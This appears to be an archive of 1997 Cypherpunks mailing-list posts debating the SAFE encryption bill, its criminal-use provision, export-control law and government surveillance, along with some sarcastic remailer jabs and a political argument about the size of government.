  THE ONLY THING BEING "COMPROMISED" IS THE CITIZEN, THE BILL OF
RIGHTS, FREEDOM & PRIVACY.
  An inch at a time. Slowly but inexorably. It's called "compromise."
It's called "reality." It's called "you scratch my back and I'll 
scratch yours."

  Of course, when its done all at once, then it's called dictatorship,
and fascism.
  That's why we don't do it "all at once" here. Because this is a
"free country." So we just do it an inch at a time. And then another
inch. And then another...

Personal aside, to Mr. T.C. May:
  "We'll drop the felony charges of 'using encryption in the 
commission of a crime' if you will plead guilty to the 'jaywalking'
charges."
  (You never should have encrypted that letter to your mom, Tim, 
and put the floppy in your pocket. Sure, you can fight the jaywalking
charges, if you're willing to risk 20 years in prison on the felony
encryption charges.)

TruthFelon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 12:53:15 +0800
To: cypherpunks@toad.com
Subject: Paul Bradley is too paranoid.
Message-ID: <199705020432.VAA16658@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:

> One cannot now go out of ones own house without being monitored, and for
> those of us who are known heretics maybe even that is not true.
> 
> Paul "Rapidly becoming a hermit in the name of privacy" Bradley

Paul,
  Quit picking at your face, and clean up that mess in the kitchen.

  Not that I'm monitoring you...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 10:05:41 +0800
To: cypherpunks@toad.com
Subject: INFO: SAFE pro-encryption bill passes first Congressional hurdle (5/1/1997)
Message-ID: <199705020142.VAA18716@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS FIRST CONGRESSIONAL HURDLE.
                     FACES TOUGHER TEST IN COMING WEEKS.
                  SAFE BILL IS ASSAILED BY CLINTON WHITE HOUSE
           BECAUSE IT PROHIBITS EXPANDED EAVESDROPPING CAPABILITIES

     Date: May 1, 1997                              Expires June 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.
-----------------------------------------------------------------------------
Table of Contents
        What Just Happened
        What YOU CAN DO NOW!
        How to start or stop receiving crypto-news
        Press contacts

-----------------------------------------------------------------------------
WHAT JUST HAPPENED

On Wednesday April 30, 1997, Congress took a historic first step towards
real reform of US encryption policy and promoting the availability of
strong privacy protections for Internet users.

The House Subcommittee on Courts and Intellectual property, by a unanimous
vote, approved the Security and Freedom through Encryption (SAFE) Act (HR
695).  The bill will be considered by the full House Judiciary Committee in
mid-May where it is expected to face tough opposition,

The SAFE bill, sponsored by Reps. Bob Goodlatee (R-VA) and Anna Eshoo
(D-CA) currently has 78 congressional co-sponsors, including a majority of
the House Judiciary Committee.  The bill seeks to protect privacy and
promote electronic commerce by liberalizing the export of privacy-enhancing
encryption technology and prohibiting the the government from imposing
mandatory key-escrow or key-recovery systems.

The bill also contains a controversial provision which establishes new
criminal penalties for the use of encryption in the furtherance of a
felony.  Privacy groups have expressed concern about this provision.  During
Wednesday's subcommittee vote, Rep. Zoe Lofgren (D-CA) pledged to work with
privacy groups and the bill's sponsors to address these concerns.

The Clinton Administration is unhappy with the bill, claiming it will
thwart law enforcement and undermine the administration's efforts to impose
a global "key-recovery" infrastructure. In an April 30 letter to the Courts
and Intellectual Property Subcommittee chair Rep. Howard Coble (R-NC), the
Department of Justice said:

   "The bill could be read as prohibiting the United States government
    from using appropriate incentives to support a key management
    infrastructure and KEY RECOVERY." [emphasis added]

The Administration's "Key Recovery" program creates a backdoor in encryption
that would allow third parties to eavesdrop on individual's private
conversations without their permission or knowledge.

Because of the Administration's opposition, the SAFE bill is expected to
face a much tougher fight before the full House Judiciary Committee later
this month.

----------------------------------------------------------------------------
WHAT YOU CAN DO NOW

The SAFE bill (HR695) is approaching the full committee for markup.  Your
help is needed in calling members of the House Judiciary committee to
urge them to pass legislation.

This is a critical issue to the future of the Internet as a secure and
trusted means of education, commerce, and political discourse, but it will
not happen without your help.

Please take a moment to Adopt Your Legislator and let them know that you
support efforts to refrom US encryption policy in a way that protects
privacy, promotes electronic commerce, and recognizes the realities of the
global Internet.

Visit http://www.crypto.com/adopt/

For more information about the bill, go to http://www.crypto.com/safe_bill/

-----------------------------------------------------------------------------
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

-----------------------------------------------------------------------------
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

-----------------------------------------------------------------------------
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesf@mail.utexas.edu>
Date: Fri, 2 May 1997 11:13:14 +0800
To: "Cypherpunks" <cypherpunks@cyberpass.net>
Subject: Re: Layoffs at PGP
Message-ID: <199705020303.XAA10083@relay1.smtp.psi.net>
MIME-Version: 1.0
Content-Type: text/plain


On 5/1/97 6:41 PM, Martin Janzen said:

>Well, PGP spokesman Mike Nelson wins the award for the Freudian slip of
>the day:
>
>    "Internet Fast-Forward is not as closely related to the tools we
>    develop for individuals for privacy," he said. And the fact that
>    Fast-Forward filters ads which are an "inimical part of some of the
>                                           ^^^^^^^^
>    emerging Web commerce models ... we don't want to hinder this
>    development."

Unless you take it to mean that banner ads are important for "emerging 
Web commerce models" which is what PGP doesn't want to hinder the 
development of, in which case I'd say that IFF is inimical indeed. Both 
ways, they lose.

-------------------------------------------------------------------------
| Wesley Felter                 | Have you ever had your phone tapped   |
|                               | by the government?     YOU WILL.      |
| wesf@mail.utexas.edu          | And the company to bring it to you:   |
| http://adhoc.com.inter.net/   |                  AT&T                 |
-------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 13:29:58 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Bombs Away, from The Netly News Network
In-Reply-To: <v03007804af8e6d02687c@[168.161.105.191]>
Message-ID: <3.0.1.32.19970501220814.002ed6f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:54 AM 5/1/97 -0400, Declan McCullagh wrote:
>The Clinton administration escalated
>its assault on the Net this week, warning that it
>provides bomb-making recipes to anyone "with a modem"
>and proposing a new law to restrict such information.*
...
>"A member of the DoJ committee accessed a single web site
>on the World Wide Web and obtained the titles of 110
>different bomb-making texts."

OH, NO*!!!  THERE ARE BOOKSTORES ON THE NET!!!!
WITH BANNED BOOKS IN THEM!!!!  OH, NO!!!!

	[*Please excuse the shouting, I'm quoting FBI officials here :-]

The obvious bookstores to look at, if you want to freak the mundanes, are
	http://www.loompanics.com/ and http://www.paladin-press.com/
Yer basic Whole Extremist Catalogs.  Of course, if you _really_ want to
find books on explosives, you'll need to wait until the 
Library of CONgress is on line, or the U.S.Army Field Manuals.
If you can't find explosives on the net, AltaVista's not doing its job.

My favorite net explosives site is the Hagley Museum in Wilmington Delaware,
about 105 miles from Declan's location in the Heart of Darkness.
It's the old duPont Gunpowder Mills, and was a popular field trip for
elementary school students when I was growing up.  We'd learn how to
make gunpowder, and learn about workplace safety and colonial industry,
and watch the ducks and geese on the Brandywine River (Is it still legal
to mention the name of a river named after Alcoholic Beverages on the net?
They also farmed tobacco near there!)

Pictures of Munitions Preparation Equipment are on the Dangerous Internet at 
	http://www.hagley.lib.de.us/wheel.gif


[*During a previous call for censorship of bombs and bad language on the net,
I received email from a number of Senators, including Feinstein, containing 
obscenity and terrorism instructions.  Don't remember if Biden replied.
Email autoresponders can be fun.]	



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 2 May 1997 11:22:01 +0800
To: Alan Davidson <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <Pine.SOL.3.96.970501220326.16231O-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 1 May 1997, Alan Davidson wrote:
> 
> What SAFE does legalize is strong, non-escrow encryption in the products
> that are most widely used, in almost all countries worldwide.  Once
> *ordinary people* have strong crypto built in to the products they use
> every day, it will be much harder for governments to take it away or
> restrict it.

What's illegal about strong non-escrow encryption now?  Why 
does it need to be "legalized"?  And wh will it be harder to 
require escrow "once *ordinary people* have strong crypto"?
Doesn't seem to follow necessarily, does it?
> 
> 2. CDT Does Not Support The Criminal Provision in SAFE

I don't get it.  CDT loudly supports the bill. The bill
contains the criminal provision.  I don't get it.  Do you?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 13:26:28 +0800
To: Alec <camcc@abraxis.com>
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970501221524.00680708@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>|It seems the INS and FBI are unwilling to grant US citizenship to
>|persons without legible fingerprints.
..
>Does this mean that, ipso facto (I love it), physically challenged
>individuals with missing or deformed hands are excluded regardless of other
>qualifications? What a monstrosity of a rule!

Or at least that some individual thugs working for La Migra think so.
If your real fingerprints are <null set>, then those are your
real fingerprints - and if the Thugs don't like it, fire them.

>Was this carried over the wire? AP?
(Hey, we weren't talking about Jim Bell here.  Maybe we should?:-)

>|"This is not something we take lightly," said INS spokesperson
>|Irene Mortensen. "We can't just arbitrarily give out citizenship
>|to just anyone."
...
>Is it not possible to retroactively _remove_ the citizenship of such an
>arrogant bureaucrat to test whether she could make the grade imposed on the
>rest of the world's "refuse?"

Only for treason; this may qualify.   While the Constitution does give
Congress authority to set procedures for naturalizing immigrants,
it doesn't give them an option about _whether_ to do it.  Just how.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 13:48:55 +0800
To: cypherpunks@cyberpass.net
Subject: "restrict technical assistance by U.S. persons with respect toencryption"
In-Reply-To: <tcmay@got.net>
Message-ID: <v03007809af8f34477b82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:09 PM -0800 5/1/97, Anil Das wrote:
>On May 1, 11:40am, Tim May wrote:
>>
>> I'm no expert in these areas, but doesn't this consitute "providing hooks"
>> for strong crypto? The EARs say that a "hook" for inserting crypto modules
>> once a product is exported are essentially as bad as providing the crypto
>> before the product is exported.
>
>	If the EAR says that, I would like to have a reference to
>the section, please, so I can look it up at jya.com. I am not
>saying it is not there, just that I haven't seen it, and I would
>like to see what the exact language is.

I hate it when people ask me to go dig up stuff...as I often end up wasting
my time doing it, instead of telling them to use their own search tools.

(It might be different if details like this were at my fingertips, sort of
like someone asking, "Is it true that Darwin wrote a book? Anyone know the
name of it?" As the export laws are long and complicated, finding things is
not easy.)

But it may have been worth it. While stupidly searching the EARs with my
tools, I found this little gem:

PART 730--[AMENDED]

    8. Section 730.5 is amended by adding a new sentence to the end of
paragraph (d) to read as follows:

Sec. 730.5  Coverage of more than exports.

* * * * *
    (d) * * * The EAR also restrict technical assistance by U.S.
persons with respect to encryption commodities or software.


[end quote]

This from http://jya.com/bxa123096.txt

I'm not sure what it means for Sameer and C2net, but were I him I'd have
some experts in this area look into whether _anything_ being done at C2net
could be construed as providing technical assistance.

And I seem to recall some saying these kinds of EAR restrictions were
linked to nuclear weaons...in fact, just today Lucky wrote: "I you read
744.6 EAR you will find the the provisions cited below only apply to nukes
and missiles, not crypto." I'm not sure what 744.6 is all about, but the
section quoted above pretty clearly says that providing technical
assistance with respect to crypto is covered.

Meanwhile, I didn't find the term "hook" mentioned in this particular URL.
But there have been many discussions of this, vis-a-vis the situation of
removing crypto from a product to get export approval and having a method
of adding crypto abroad. "Insert crypto hooks here" is treated as if the
program had crypto all along.

Anil, you'll have to do the research on where in the vast amount of stuff
on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm
done for the evening.

--Tim May, who makes a May Day promise to himself not be gulled into doing
clerking for others



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 13:50:58 +0800
To: cypherpunks@cyberpass.net
Subject: Response to Alan Davidson
Message-ID: <v0300780daf8f3cb776f3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I posted this article to the newsgroups alt.cypherpunks,
talk.politics.crypto, comp.org.eff.talk, and copied this list on it from my
newsreader, but the article hasn't shown up here on the list. Sometimes the
newsreader/spooler/whateer runs into snags, so here it is, manually sent:

At 1:56 PM -0800 5/1/97, Alan Davidson wrote to the Cypherpunks list:

>SAFE would legalize the export (to all but a few countries such as Iran, N.
>Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is
>designed for the mass market or is in the public domain, i.e.:
>
>        "(i) that is generally available, as is, and is
>                    designed for installation by the purchaser; or
>
>                    "(ii) that is in the public domain for which
>                    copyright or other protection is not available
>                    under title 17, United States Code, or that is
>                    available to the public because it is generally
>                    accessible to the interested public in any form;"
>         (See also Footnote below)

But of course this is not the complete quote. Here is the material above,
plus the surrounding context (and what I think are some "gotchas"):

[[My comments are in brackets like this.]]

"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required,
except pursuant to the Trading With the Enemy Act or the International
Emergency Economic Powers Act (but only to the extent that the authority of
such Act is not exercised to extend controls imposed under this Act), for
the export or reexport of--

[[And what limitations on export does the International Emergency Economic
Powers Act impose? This is a murky and complicated area of the law, and our
own Professor Froomkin, in his excellent "It Came from Planet Clipper"
review of Clipper, noted: "The only authorities noted in Executive Order
12,924 are the
President's inherent constitutional authority and the International
Emergency Economic Powers Act (IEEPA).{224} Assuming that the President
does
not have inherent constitutional authority to block exports in peacetime,
the authority for this action is IEEPA, which by its own terms applies to
"any
unusual and extraordinary threat, which has its source in whole or
substantial part outside the Untied States ... if the President declares a
national
emergency with respect to such threat."{225} While Executive Order 12,924
refers to the danger of "unrestricted access of foreign parties to U.S.
goods, technology and technical data," it seems that the real "unusual and
extraordinary" threat consists of Congress's failure to renew the EAA.
Indeed, the President's most recent renewal of the state of emergency
admits that the state of emergency must be extended "[b]ecause the Export
Administration Act has not been renewed by the Congress."{226}"

[[I take this quote to mean that the EEPA grants the Pres. authority to
limit exports. Thus, the "except pursuant to" provision could with the
stroke of a pen impose export limits on unbreakable crypto, even if the
later provisions, which I'll get to in a moment, are not the clauses
invoked to limit exports.]]


"(A) any software, including software with encryption capabilities --

"(i) that is generally available, as is, and is designed for installation
by the purchaser; or
"(ii) that is in the public domain for which copyright or other protection
is not available under title 17, United States Code, or that is available
to the public because it is generally accessible to the interested public
in any form; or
"(B) any computing device solely because it incorporates or employs in any
form software (including software with encryption capabilities) exempted
from any - requirement for a validated license under subparagraph (A).

[[The section above does seem to say that, unless EEPA is invoked, crypto
software is exportable. However, the next section states the following:]]


"(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
authorize the export or reexport of software with encryption capabilities
for nonmilitary end-uses in any country to which exports of software of
similar capability are permitted for use by financial institutions not
controlled in fact by United States persons, unless there is substantial
evidence that such software will be
       --

"(A) diverted to a military end-use or an end-use supporting international
terrorism;

[[So, if it is determined that PGP is being used by the Iraqi regime--as
some sources tell me is the case today!--does this not encompass "diverted
to a military end-use"? If it is obvious that Irish members of the IRA or
Sinn Fein are buying copies of "Mil-Grade PGP" at the Egghead in Boston and
shipping them back to Dublin on cargo pallets, will this satisfy the
"supporting international terrorism" clause? If the 'substantial evidence
that such software will be" part means that such exports are blocked only
if the exporter makes it clear that he will be exporting to the Iraqi High
Command, which he would be foolish to do, then this is an Alice in
Wonderland law. I surmise that the intended interpretation is to block
software with substantially military uses, even if not the primary uses. I
could be wrong, but the confluence of the EEPA and the "diverted to a
military" and "supporting international terrorism" bits lead me to
interpret the bill as saying military-grade PGP will be limited for export
even to countries which are not on the "hot list" of Trading with the Enemy
nations.]]


"(B) modified for military or terrorist end-use; or

[[And what does this mean? If I widely advocate and encourage use of PGP
3.0 as a tool for liberation of oppressed peoples under the bootheel of the
American fascist regime, and show how PGP 3.0 is a tool for blowing up
fascists and their lackeys, and there is even evidence that terrorist
groups are indeed adopting PGP 3.0 in droves, is this clause then
triggered?

(Or must I actually purchase a software export license from PGP, Inc.,
alter the code to read "Pretty Good Terrorist Tool," stamp my boxes "Meant
for International Terrorist Use," apply for an export license, and only
then will the clause be triggered? Ha.

The clear, to mek, interpretation of this language is that the SecDef and
other such persons will notify the Pres., or Commerce, etc., that some
particular program or product is easily capable of being used against
putative American interests, as has long been the case with so many other
export-limited products.

(And the limits are not, Alan's implications to the contrary, limited to
the "Hot List" of terrorist nations. The COCOM agreements, the CCL, and now
the Wasenaar agreements, clearly are a very broad list of products. Hell,
the Japanese are now citing the Wasenaar as the reason the RSA chip will
not be given an export license! The real reason, looking deeper, is because
David Aaron, Stuart Baker, and the other folks in the NSA orbit almost
certainly asked them in very strong terms not to make the RSA chip
available for products.)]]


>SAFE's export control relief is not unlimited. The bill does not allow
>export to Iran, Iraq,  Cuba, or N. Korea (that's what the "Trading With The
>Enemy" provision is about); Congress is not likely to pass a law saying you
>can export strong crypto to Saddam Hussein.  Relief is also limited for

And what of the EEPA provisions? Will the Wasenaar list simply cease to
exist? My recollection, refreshed by skimming the Froomkin article a few
minutes ago, is that the EEPA, semi-perpetually in effect, is the reason
products are already on the list of controlled exports. As Froomkin writes,
"Given, however, that IEEPA provides the current authority for the
continuance of the EAA regime, and that the Clinton Administration proposes
to
move DES, however temporarily, off the USML and onto the CCL, a creation of
the EAA,{229}..."

On to another topic:

>Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
>prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":

This is being disingenuous. I stated very clearly, in two places very
prominently, that the chilling effect of the criminalization section is
analogous to the "use a gun, go to prison" language (and billboards) used
in the War on Crime.

I'd've thought that analogies are a basic skill, not to mention a necessary
skill for doing well on the Verbal section of the SATs. To wit:

"Use a gun, go to prison" is to "Use a gun when committing a crime, go to
prison" as "Use a cipher, go to prison" is to "Use a cipher when committing
a crime, go to prison."

The point is that such criminalization of crypto will have a chilling effect.

In fact, why not support another modification of the First Amendment? (The
crypto modification being one involving speech.) Let's extend it to
religion:

"Religious beliefs are not allowed, but the holding of certain religious
beliefs when a crime is committed may in itself be criminal."

So, if someone bombs and abortion clinic, surely a crime by our laws, and
is found to be a Roman Catholic, this could add 5 years to their sentence.
This is what the criminalization of crypto is comparable to.

Or in the precise language of the SAFE bill:

>   2805. Unlawful use of religious beliefs in furtherance of a criminal act
>
>     "Any person who willfully uses religious beliefs in furtherance
>  of the commission of a criminal offense for which the
>  person may be prosecuted in a court of competent jurisdiction...
>  [may be imprisoned or fined]"


>CDT opposes both these provisions because they are unnecessary and could
>chill the use of encryption (especially by self-confessed felons like Tim
>May!).  But they are not as sweeping as some on this list have said.

Not as sweeping? Where is this "not as sweeping" spelled out? The SAFE text
is itself very short, so I don't see where this comes from. Is it from the
infamous "assurances" which are so often given verbally, but never in
ironclad written form attached as part of the bill? Is it an
"understanding" that this criminalization clause will actually not be
applied except certain classes of criminals? (Who are they, by the way,
that _would_ have the law applied to them?)

I take laws to mean what they say. Al Capone was gotten on income tax
evasion. If the law says using crypto in connection with a crime can result
in a 5-year sentence for a first offense, etc., I take the law to mean just
that. If that's _not_ what was intended, then change the language!!!!

Meanwhile, the crimininalization of crypto use in connection with any of
the ever-increasing array of prosecutable offenses is reason enough to
reject SAFE. That PGP, Inc. or Netscape has an easier time exporting
browers to foreigners is no reason to sacrifice basic liberties.


>Passage of the SAFE Bill would put strong security tools in the hands of
>many more people.  That's why CDT supports SAFE, and why we think people
>who care about privacy and security online should support it too.

Strong crypto, with no criminal penalties attached, is about to become
widely available in the U.S. with the incorporation of S/MIME into
Netscape's and Microsoft's products. Netscape has already said, and I
presume MS has or will too, that they will if necessary have multiple
versions of their products, with a "policy statement" enforcement mechanism
for foreigners.

So, what does SAFE buy us? There are no crypto laws in the U.S., and crypto
is avialable, and will soon be built into tens of millions of browsers.
Looks like we're getting what we need.

Why give up basic liberties so that Netscape can ship just one version?

A bad deal, I say.

"Use a cipher, go to prison."

--Tim May

--
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 2 May 1997 13:55:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705010328.UAA19126@mail.pacifier.com>
Message-ID: <19970501224320.48220@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
> At 23:07 4/29/97 -0700, Kent Crispin wrote:
> 
> >3) There is no serious flaw -- the current government isn't as
> >bad as we claim.  Or, put another way, the evils we see are a function
> >of size of government, and size of government is more a function of
> >population than anything else -- the larger the population, the 
> >larger the government.
> >
> >I think that strong arguments could be made for any of these, though #3 
> >would be shouted down in this forum.
> 
> I disagree that a "strong argument" could be made for item #3.  Sure, some
> people would strenuously ATTEMPT to make that argument, but they would fail
> miserably.  
> 
> I feel confident that a statistical analysis of various countries'
> governments would reveal a wide scatter in the relationship between
> population and government size.  One of the main factors in this scatter is
> simply the amount that government has decided to butt into activities that
> could (and should) be privatized.   Another is the amount that the
> government steals from one group in order to reliably receive the votes of
> some other group.

> Population size would end up being a very poor determinant of government 
> size.  

Yes, there would be scatter, but it is not important.  Population size
is *obviously* a strong determinant of government size.  Clearly, China
(population 1,000,000,000) is going to have a *far* larger government than
Dominica (population 100,000).  This difference far overshadows 
the fact that governments for similar sized countries may vary 
considerably in size -- Dominica will *never* have a government larger 
than China.

You are thinking of the *ratio* of population to government size.  That
is a factor, but, relatively, an inconsequential one.  Country
populations vary by orders of magnitude, whereas the scatter you 
describe might be by one order of magnitude.

So, having clearly established that larger countries will on balance 
have larger governments, we can then just look at organizational 
dynamics.  *Any* large organization requires more infrastructure to 
function.  *Any* large organization will develop bureaucracy.  This 
is true for governments, this is true for businesses, this is true 
for schools, this is true for militias.  A big city police department 
will have many different precints, with multiple layers of 
management, a small town will have a chief of police and a few 
deputies.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 13:04:57 +0800
To: cypherpunks@toad.com
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
Message-ID: <199705020433.AAA21400@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


geeman wrote:

> Brief radio piece on the red-light cameras in S.F. --- red-light running
> appears
> to be down at the 4 intersections where cameras are installed; some
> well-placed official was
> quoted as saying "The cameras are definitely having an effect on people's
> behavior." Yes, a
> Good Thing.  They are continuing to move forward with plans to install more
> cameras.
> 
> This is fine for red-light-running.  I'm just worried about the day when
> the cameras
> have an effect on people's behavior with respect to what they say, whom
> they associate with,
> the clothes they wear, the thoughts they think...

  They have also installed hidden cameras in geeman's home.
  This is fine for monitoring geeman. I'm just worried about the day 
when the cameras are put in my own home.

TruthMonitor






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:21:24 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705020738.AAA02377@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 22:43 5/01/97 -0700, Kent Crispin wrote:
>On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
>> I feel confident that a statistical analysis of various countries'
>> governments would reveal a wide scatter in the relationship between
>> population and government size.  One of the main factors in this scatter is
>> simply the amount that government has decided to butt into activities that
>> could (and should) be privatized.   Another is the amount that the
>> government steals from one group in order to reliably receive the votes of
>> some other group.
>
>> Population size would end up being a very poor determinant of government 
>> size.  
>
>Yes, there would be scatter, but it is not important. 

The only reason "it is not important" is that this scatter is what
demolishes your view of the world.

> Population size
>is *obviously* a strong determinant of government size.

But probably not even close to the largest determinant.


>So, having clearly established that larger countries will on balance 
>have larger governments, we can then just look at organizational 
>dynamics.  *Any* large organization requires more infrastructure to 
>function.  *Any* large organization will develop bureaucracy.  This 
>is true for governments, this is true for businesses, this is true 
>for schools, this is true for militias.  A big city police department 
>will have many different precints, with multiple layers of 
>management, a small town will have a chief of police and a few 
>deputies.


But NONE of this is truly needed.  I have a solution to that problem.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:16:43 +0800
To: Mac Norton <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <199705020738.AAA02381@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 22:09 5/01/97 -0500, Mac Norton wrote:
>On Thu, 1 May 1997, Alan Davidson wrote:
>> 2. CDT Does Not Support The Criminal Provision in SAFE
>
>I don't get it.  CDT loudly supports the bill. The bill
>contains the criminal provision.  I don't get it.  Do you?
>MacN

Ditto cubed.  It's so easy to say, "We oppose it with the criminal
provision.  We support it without the criminal provision."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:26:18 +0800
To: "Shabbir J. Safdar" <jellicle@inch.com>
Subject: Re: SAFE Bill discussion
Message-ID: <199705020755.AAA03527@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:12 5/01/97 -0400, Shabbir J. Safdar wrote:
>The Administration hates this bill, because it threatens their ability to
>roll out Key Recovery.  They've said as much in the letter Declan forwarded:
>
>   "The bill could be read as prohibiting the United States government
>    from using appropriate incentives to support a key management
>    infrastructure and KEY RECOVERY." [emphasis added]
>
>Do you think that if this bill helped the Administration, that they'd be
>out there urging the subcommittee chairman to stop it?  I think not.

Then you are thinking FAR too simplistically and your logic is poor.   The
Administration thugs realized long ago that they were (correctly) viewed as
a "reverse barometer": Freedom and privacy-loving people saw, generally,
that if something was good the thugs would often oppose it, and if it was
bad the thugs would often support it.  

However, the Maladministration is getting desperate, because they have no
toehold in the regulation of domestic encryption, and they've decided that
it's vitally important to develop such a system.  They know, however, that
their opponents are going to be watching for exactly such a development, and
they know that it isn't going to come cheap.  Perhaps they realize that the
only way to try to sneak it through Congress is to pretend to oppose it for
"plausible" reasons, hoping that it will collect a little non-thinking
support from the people who blindly still view the thugs as a reverse
barometer 100% of the time.  Eventually, if the bill passes, they can sign
it, concealing their glee at their ability to sneak in an atrocious
provision despite the watchful eye of many of us.



>Can you consider, perhaps, for a second, that critics of SAFE are being
>unreasonable?  I would think so, as critics of SAFE include the Clinton
>Administration.  Is that the kind of company that cypherpunks keep?

